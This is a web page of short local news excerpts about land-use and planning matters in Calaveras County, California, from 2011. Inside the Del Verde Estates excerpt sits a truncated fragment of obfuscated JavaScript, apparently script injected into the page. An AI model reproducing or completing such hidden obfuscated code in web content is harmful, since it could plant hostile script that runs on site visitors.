FEMA Loosens Insurance Rules

By Dana M. Nichols Record Staff Writer October 04, 2011 12:00 AM SAN ANDREAS – Hundreds of Calaveras County homeowners who are being forced to buy flood insurance they don’t need can now get relief thanks to an agreement between federal and county officials. Calaveras County Planning Director Rebecca Willis said that the resolution was reached during a meeting Sept. 22. She said Federal Emergency Management Agency representatives... Read More

Del Verde Project Can Move Ahead

As unanimous approvals go, the one granted to the most recent phase of the Del Verde Estates subdivision project in Valley Springs was rather lukewarm…it only received a new breath of life due to the lack of a sunset clause for languishing applications in county code.—Click here for article—Union Democrat, September 28, 2011 function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let... Read More

CCWD Approves Concept of CHIPS Buy

Calaveras County Water District directors approved in concept the use and purchase of surplus property near West Point for use by the nonprofit Calaveras Healthy Impact Products Solutions. CHIPS wants to use the 30 acres to produce wood chips for power generation and landscaping; sawmill and kiln operation; producing firewood, posts and poles and developing a native plant nursery for reforestation. The CCWD board vote allows CHIPS to take the project... Read More

California Energy Commission: Smart Growth & Land Use Planning

Decisions affecting land use directly affect energy use and the consequent production of greenhouse gases, primarily because of the strong relationship between where we live and work and our transportation needs. Significant efforts are necessary to reduce vehicle miles traveled to meet the state’s emission reduction goals. California must begin reversing the current 2 percent annual growth rate of vehicle miles traveled. Research shows... Read More

Languishing Lode Project May Be Back On

By Dana M. Nichols September 17, 2011 Record Staff Writer September 17, 2011 12:00 AM SAN ANDREAS – The proposed 91-lot Del Verde Estates housing development near Valley Springs has come back to life for a second time. A land-use consultant appeared before the Calaveras County Board of Supervisors on Tuesday with papers proving he represents the current owners and that they obtained rights to the application from the original developer. The... Read More

Copperopolis: Two Sides To the Coin

smcmanis@sacbee.com Published Thursday, Sep. 08, 2011 The Sacramento Bee   sacbee.com   Mile upon monochromatic mile passes, as you leave Stockton in your rear-view mirror and head east on Highway 4. Little distracts the eye from the bleached brown foothills studded with too few oak trees. The mind, lulled and dulled by such sameness, seeks any landscape alteration, any sensory stimulation. Barring that, how about at least better radio reception? Ahead,... Read More

Former Analyst Mike Miller Named to Planning Commission

Written by Sean Janssen, The Union Democrat September 14, 2011 01:13 pm   A former aerospace engineer and county senior administrative analyst will fill the final vacancy on the Calaveras County Planning Commission created by redistricting.   Mike Miller, 65, of Carson Hill, previously spent four years with Calaveras County administration after a career in aviation engineering and an unsuccessful campaign for clerk-recorder last fall.   ... Read More

Three Controversial Bills To Reform CEQA

The CA Environmental Quality Act: you either love it or hate it. The 1970 law either protects the environment or stifles smart growth, depending upon your perspective. Three bills lie on Gov. Jerry Brown’s desk that address different aspects of it. The CEQA-reform bills are SB 226 (Simitian), SB 292 (Padilla) and AB 900 (Buchanan). Legal Planet, a ” a collaboration between UC Berkeley School of Law and UCLA School of Law”... Read More

Wagon Trail Project Runs into Financial Rut

By Dana M. Nichols Record Staff Writer September 08, 2011 12:00 AM SAN ANDREAS – The long-awaited Wagon Trail project, which would straighten a six-mile section of Highway 4 between Copperopolis and Angels Camp, is too expensive to complete in the next decade. Instead, Calaveras County Public Works Director Tom Garcia on Wednesday night proposed to straighten only two miles of the highway by 2016. Engineers now estimate the full Wagon... Read More

Shooting Center Hits a Roadblock

By Brionna Friedrich There isn’t just one reason the Coe Shooting Center can’t be built on Tom Coe’s industrial-zoned property, Calaveras County planners said Tuesday. Staff had three findings for the Board of Supervisors to approve in granting six appeals to the center’s construction. The first finding could be key in any future discussions: Even if, as the Planning Commission determined, a shooting center can be a permitted use –... Read More